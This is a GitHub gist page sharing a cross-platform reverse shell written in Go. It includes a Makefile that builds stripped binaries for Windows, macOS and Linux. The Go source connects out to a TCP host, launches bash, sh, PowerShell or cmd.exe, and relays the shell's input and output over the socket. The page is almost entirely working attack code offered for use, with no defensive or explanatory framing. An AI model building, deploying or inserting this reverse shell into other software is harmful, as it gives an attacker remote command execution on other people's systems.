Skip to content

Instantly share code, notes, and snippets.

@moloch--
Last active April 26, 2023 00:55
Show Gist options
  • Save moloch--/86068b6019ff5e3280725230dcafa892 to your computer and use it in GitHub Desktop.
Save moloch--/86068b6019ff5e3280725230dcafa892 to your computer and use it in GitHub Desktop.
Basic cross-platform reverse shell in Go
EXE = shell
SRC = .
LDFLAGS = -ldflags="-s -w"
windows:
GOOS=windows go build -o $(EXE)_win.exe $(LDFLAGS) $(SRC)
macos:
GOOS=darwin go build -o $(EXE)_macos $(LDFLAGS) $(SRC)
linux:
GOOS=linux go build -o $(EXE)_linux $(LDFLAGS) $(SRC)
all: windows macos linux
echo "done."
clean:
rm -f $(EXE)_win.exe $(EXE)_macos $(EXE)_linux
package main
import (
"log"
"net"
"os"
"os/exec"
)
const (
// Read buffer
readBufSize = 128
)
func exists(path string) bool {
_, err := os.Stat(path)
if err == nil {
return true
}
if os.IsNotExist(err) {
return false
}
return true
}
// ReverseShell - Execute a reverse shell to host
func reverseShell(command string, send chan<- []byte, recv <-chan []byte) {
var cmd *exec.Cmd
cmd = exec.Command(command)
stdin, _ := cmd.StdinPipe()
stdout, _ := cmd.StdoutPipe()
stderr, _ := cmd.StderrPipe()
go func() {
for {
select {
case incoming := <-recv:
log.Printf("[*] shell stdin write: %v", incoming)
stdin.Write(incoming)
}
}
}()
go func() {
for {
buf := make([]byte, readBufSize)
stderr.Read(buf)
log.Printf("[*] shell stderr read: %v", buf)
send <- buf
}
}()
cmd.Start()
for {
buf := make([]byte, readBufSize)
stdout.Read(buf)
log.Printf("[*] shell stdout read: %v", buf)
send <- buf
}
}
func main() {
conn, _ := net.Dial("tcp", "127.0.0.1:8080")
shellPath := GetSystemShell()
send := make(chan []byte)
recv := make(chan []byte)
go reverseShell(shellPath, send, recv)
go func() {
for {
data := make([]byte, readBufSize)
conn.Read(data)
recv <- data
}
}()
for {
select {
case outgoing := <-send:
conn.Write(outgoing)
}
}
}
package main
const (
// Shell constants
bash = "/bin/bash"
sh = "/bin/sh"
)
func GetSystemShell() string {
if exists(bash) {
return bash
}
return sh
}
package main
const (
// Shell constants
bash = "/bin/bash"
sh = "/bin/sh"
)
func GetSystemShell() string {
if exists(bash) {
return bash
}
return sh
}
package main
const (
// Shell constants
commandPrompt = "C:\\Windows\\System32\\cmd.exe"
powerShell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
)
func GetSystemShell() string {
if exists(powerShell) {
return powerShell
}
return commandPrompt
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment